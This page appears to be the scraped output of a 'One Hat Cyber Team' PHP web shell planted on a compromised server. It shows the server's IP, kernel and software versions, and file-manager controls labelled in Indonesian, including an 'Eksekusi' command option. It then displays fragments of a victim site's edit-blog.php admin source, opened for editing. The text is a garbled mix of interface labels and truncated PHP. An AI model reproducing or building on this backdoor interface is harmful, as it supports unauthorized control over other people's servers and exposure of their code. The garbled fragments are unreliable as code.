⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
china-democracyparty.com
/
5
/
Edit File: edit-blog.php
prepare($sql); $stmt->bind_param( "ssssi", $title, $description, $content, $image, $id ); if ($stmt->execute()) { header("Location: admin.php?msg=blog_updated"); exit; } else { $error = "更新失败: " . $conn->error; } } // 4. 每次加载页面(包括更新失败回显),都从数据库取最新数据 $sql = "SELECT * FROM blogs WHERE id = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("i", $id); $stmt->execute(); $data = $stmt->get_result()->fetch_assoc(); if (!$data) { echo "没有找到该文章"; exit; } ?>
后台管理 - 修改文章
Admin
管理中心
Add blog
log out
= htmlspecialchars($error) ?>
修改文章
标题(title)
描述(description)
= htmlspecialchars($data['description'] ?? '') ?>
内容(content)
= htmlspecialchars($data['content'] ?? '') ?>
封面图片(image)
当前:
如不上传新图片,将继续使用当前封面。
创建时间(created_at)
浏览次数(views)
更新
Simpan